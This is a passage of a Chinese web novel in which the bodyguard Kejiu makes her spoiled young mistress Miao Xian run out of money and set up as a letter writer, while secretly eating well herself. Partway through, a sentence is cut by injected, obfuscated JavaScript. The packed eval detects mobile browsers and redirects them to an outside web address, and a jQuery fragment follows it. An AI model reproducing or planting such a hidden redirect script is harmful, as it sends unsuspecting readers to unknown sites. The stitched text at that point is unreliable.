1.
我回去后妙霰刚醒,没有奴仆服侍起居,她竟能睡到日上三竿。若非闻见诱人的烧饼和熏鸡味,恐怕还要赖床不起。
她明知故问:“买什么好吃的了?”
我缓缓揭晓答案,引来一声激动的轻呼。她赤着脚跑到身边,拆出令她食指大动之物,仰头对我绽放了璀璨的笑容。
那一瞬间,她烂漫得不可方物,我下意识回以微笑,又见她闭上双眼,张开双臂,像只鸟儿迎风梳理美丽的飞羽。
这是……想拥抱么?虽然幼稚,却挺可爱的。
我暂时遗忘了对她的讨厌,大方地给出一个别扭的拥抱。毕竟我们一向不亲,我还不习惯与她朝夕相处,更别说与她亲近。
“好了……快吃吧,等会儿放凉了。”
我推开她,但她还“大鹏展翅”着,催促我道:“可久,为我更围衣。”
围衣?
哦,原来是围衣啊,我就不该自作多情。我任她如无翼鸟般振翅,撕掉一块又香又肥的鸡腿。她的视线随我滴溜溜地转,从手上到嘴边,最后生气了:“喂!”
“没围衣,你爱吃不吃。”
妙霰是个审时度势的孩子,见我不给面子,也放弃了讲究,扯掉另一边鸡腿吃得狼吞虎咽。我忍不住提醒:“可别弄脏衣服,没人给你洗——至少我是不会洗。”
她抬起胳膊,含混又没皮没脸道:“那帮挽下袖口总可以吧。”
我一边帮她挽袖,一边想,她是十六岁,不是六岁,需要穿围衣吃饭吗?妙将军过分延续着对她的宠爱,养出妙霰不少毛病。未免她出席正式场合时失态,还需配备一位奴仆持匙侍饭,放在旁人家,都足以用“怪诞”形容了。
妙霰缺少的何止责任,该懂的又何止感情啊。
等等,我不是她母亲,何必管这些事?又没付给我玉姑姑的价钱。
想到“价钱”,又想起将军许诺的宅子,我总觉得沮丧,因为看到妙霰成长大概比登天还难。她不知我的纠结,还举着半张烧饼晃我的眼。
“为何府中从未有过此等美味?我看那些名厨都该辞退,给这位做鸡的厨子腾地方。”
看看她吧,真是没救了。她就没有体恤旁人的慧根,又何来“开窍”?冯台府日后交到她手上简直倒了大霉,更倒霉的是我,恐怕忍她好几年,都见不到梦中情宅的瓦片。
这么说来……
我陷入了沉思。
为何非要靠妙霰自觉呢?我是护卫不假,不爱做分外之事不假,但何必与宅子过不去?从前妙霰身边围着的都是应声虫,事事顺意,如今身边只有我,我若主动教她道理,迫使她心窍大开,任务早日完成,我不就早日入住豪宅了?
啃完一个腿棒时,我已然想通了日后的行动计划,就做她一年的妈又何妨?我强迫自己对埋头鸡骨山的妙霰滋生慈爱,温柔摘去她嘴角的饼渣。妙霰很受用,转过另一侧脸蛋儿等我继续服务,搞得我又想给她一巴掌。
不管怎么说,我先试试呗,试试总没坏处。
——
2.
有妙将军的条子在手,钱银已非难题,但我不准备帮妙霰解除金钱危机,我始终觉得穷人的孩子早当家,该让她吃一穷二白的苦。
因囊中羞涩,我们被掌柜客气撵出驿站,妙霰吃饱喝足,心思都在玩乐上,还没空考虑别的。我也不提醒,由着她闲逛。在又一个错身的路人投以窃笑后,妙霰终于察觉不对,问我她们笑什么。
我举起一位摊贩的铜镜,让她看见自己邋遢的新颜。
妙霰气得咬牙切齿:“你怎么不提醒我呢!”
她下意识举袖擦嘴,似乎又想起我“不帮她洗衣服”的声明,放下手,沉郁着脸,往一边走去。
我跟着她,来到不远处的河渠旁。
“可久,你真是个尽责的护卫……除了护卫,你什么都不做!”
她一边声讨我的失责,一边捧水将脸洗了。微笑的进步让我看到宅子的曙光,不禁垂头一笑……然后就笑不出来了。
有枚油亮的手印赫然在我衣袖发光,不知何时被她抓上去的,这家伙挨着谁就祸害谁,真让人心烦!我蹲在她身边,捧着水搓揉衣袖,她还好意思问:“原来你会洗衣服啊?”
“不会!”我没好气道。
我们没有皂角,她搓不掉手上的油脂,我也搓不掉袖子上的爪印,徒劳斗争了好一会儿,幸而旁边民宅中走出个端脏衣盆的卿子,看出我们的窘迫,分享了一小把皂角。
袖口的污渍终于消失了,妙霰也为我高兴:“这回你会洗衣服了!”
我道:“我不给你洗!那是另外的价钱。”
“钱钱钱,你掉钱眼儿里啦!”她笑嘻嘻地扬水泼我,我也不甘示弱地回击,突然发现她胳膊尽头是挽在半臂的袖口——她竟然知道珍惜衣服了。
看来妙霰不是个榆木疙瘩,还有点可造之材的模样!
仿佛看见豪宅有了一砖一瓦的累积,我对计划也愈发认同。既然将军如此信任,我就恭敬不如从命了,该怎么养这破孩子,今后由我说了算。
——
3.
傍晚时,我们听从妙霰的指示,在豪华酒楼饱餐一顿,她延续着铺张浪费的点餐风格,将存款花得只剩几枚铜板。
“我们今晚住在哪呢?”
终于想起这茬啦?我双手一摊。
“没钱住宿了。”
“那么多钱,都花了?”她大呼不信,我便一笔一笔与她对账,直到她完全沉默,接受现实。
“没钱就投不了宿,只能露宿街头,下顿饭也没着落。”
她懊恼道:“方才明明点多了,没吃了。”又道,“那盘粉蒸肉我一筷子都没动呢!”我问她要不要回去把那道菜带走,她却道:“算了,隔夜再吃,影响口感。”
看吧,饿她几顿真是活该。
“无妨,我们找民宅借宿如何?总不至于露宿街头吧。”她旋即乐观道。
顺着她目光望去,那是一户富庶的人家的门庭,我看了看门口的标志道:“卓家,和方林海大人是姻亲,后者是你母亲的部下,此刻或许正在带兵寻你。你确定要自投罗网?”
妙霰满怀遗憾地离开,又看中了一个“退而求其次”的民宅,催我上去叫门。我没皮没脸,遭遇多少白眼都不怕,倒让妙霰面上过不去了。
“怎么都不给面子?”
“你没钱交换,也没身份巴结,人家为何放你进去投宿?”我道。
她说:“不然我们……你,你可以干活。”
“需要干活,招我一个就够了,收容你做什么?”我道,“谁乐意让人吃白饭啊?”
她再次沉默。我乐意看她无计可施的模样,故意让她多多吃瘪,其实早已物色了一间相对宽敞的破庙,借宿徒劳后,我会带妙霰去那里对付一晚。
难搞的小主人终于意识到无钱寸步难行的道理,走过一家打烊的商铺时,突然停下对我说:“不行,我们得回去,拿回我们遗失的钱。”
“回冯台?那更是自投罗网。”
“你武功好,能不能去把荷包偷回来?”她说,“本来就是我们的荷包啊。”
“我武功再好,也只有一个人,况且那里一定有人埋伏着等你……”我意识到不能光解释拒绝的原因,还要启发她的思路,“其实我们可以想办法挣钱的呀。”
“我何尝不想?”妙霰道,“好多事我都做不来,跑堂、洗碗、走镖、账房……”
“你会读书写字,就为人代笔书信如何?”我和颜悦色道,“我用这最后几个铜板为你置办文房四宝,你随便找个墙角,就可以开张了嘛。”
她眼睛一亮,说是个好办法,趁她还在琢磨生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353108|183580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
计,我将她带去破庙。夜色已经深沉,好位置被几位流浪人士占住了,我们只能凑合在靠门的地方。妙霰头一次体会“露宿”的感觉,竟然只觉新奇没空挑剔,还缩在干草堆里畅想:“明天一早我就去挣写字钱,一封信一两银子……”我刚想说五文钱不能再多了,又闭上嘴。
有些南墙非她自己撞到不可,我才不多嘴呢。
“可久,我替人写信,你做什么呢?”她道,“两人一起挣钱,总是更快的。”
我搪塞道:“那就做点苦力?”
“能挣几个钱?”
我道:“没你一封信的定价多。”
她好心地安慰我:“没事,千里之行始于足下,我负责赚大头,你负责赚小头,我们今后相依为命,要一步一步,做大做强。”
我笑而不语。
次日我用最后几枚铜板帮她置办好便宜的笔墨纸砚,又找了个繁华的街角将她放下,便谎称挣钱,去了银铺,提出一点可供日常开销的碎银。
我不必为妙霰的忆苦思甜委屈自己,摆弄着沉甸甸的银块,径直去邻街的茶楼吃喝。从窗口下望,能透过横斜的树枝看见妙霰的摊位——她还没吃饭呢,让捧着羊羹的我有点过意不去,但她身边围着几个客人,又让我十分惊异。
一两银子诶,这么贵的当,真有傻子会上?
妙霰竟然开张了。她读过的书虽无法支撑她做出高深的学问,措辞写作却绰绰有余,转眼一封信写完,她也颇为满意似的,用两根指头夹着吹干。钱货将付讫时,和善的顾客突然破口大骂,引来路人纷纷围观。我听了一会儿才明白始末,就说怎么有傻子上当呢,原来她那位顾客根本就不识字,只认识“一”,还当一文钱呢,差点跟狮子大开口的妙霰打起来。
我被两种微妙的心情拉扯着,既生怕她受委屈,又乐见她吃瘪,如坐针毡许久,终是忍住了下去安慰的冲动。看热闹的人群散去后,妙霰在未开张,却执拗地坐在那里,看得我有些心疼。
虽说让她吃苦,却也没必要一次把苦吃尽。我使点小钱,唤酒楼伙计带几个包子送她。妙霰应是饿极了,都没精神纠结哪位好心人的馈赠,就垂头狂吃。我也终于有胃口继续喝茶,这时才发现,壶中的茶没喝几口,就凉透了。
这哪里是对妙霰的历练,分明也是对我的折磨。
夕阳西下时,我在头上身上喷了点水,假装大汗淋漓地找她,妙霰面前那张写有“一两一封”的招牌已涂抹过两次,定格在“十文”,都无人买账。
见到我,她有些欣慰,又有些沮丧。
“你挣到钱了吗?”她问。我点点头,掏出二十枚铜板给她,她珍而重之地捧了,来回地看,“我也挣了二十文,但被我花掉买了四个包子。”
我没拆穿她为尊严做出的伪装,安慰她道:“慢慢来,我们会越挣越多的。”她关心我吃了没有,我已经胡吃海喝一整日,生怕她硬要我吃饭,便说不饿,劝她把钱留下,明日买包子吃。
她点着头,突然就哽咽了。
“你真好,可久,对我不离不弃……”她呜咽道,“我想这世上不会有人对我这么好了,明明你也饿着肚子呢……等我有了钱,一定好好报答你。”
我第二次拥抱了她,内心格外发虚。我这样做到底对不对呢?不算虐待她吧……
受挫折后,妙霰乖了许多,回到破庙时间还早,她终于抢到更加干净清爽的位置,还搜集了散落的干草铺在地上,我留意到,她给我用的干草比留给自己的还多。
“今日多谢你了。”她真诚道。
看来妙霰吃硬不吃软,吃苦不吃甜。我摸清了她的规律,心中暗喜,就在这时,突然感觉门口飞来两道倏忽而逝的目光,抬头时又消失了。
并非我们回来得早,而是今夜这破庙中竟只有我们两个。妙霰乐得宽敞,我却知道,今夜要睡不好了。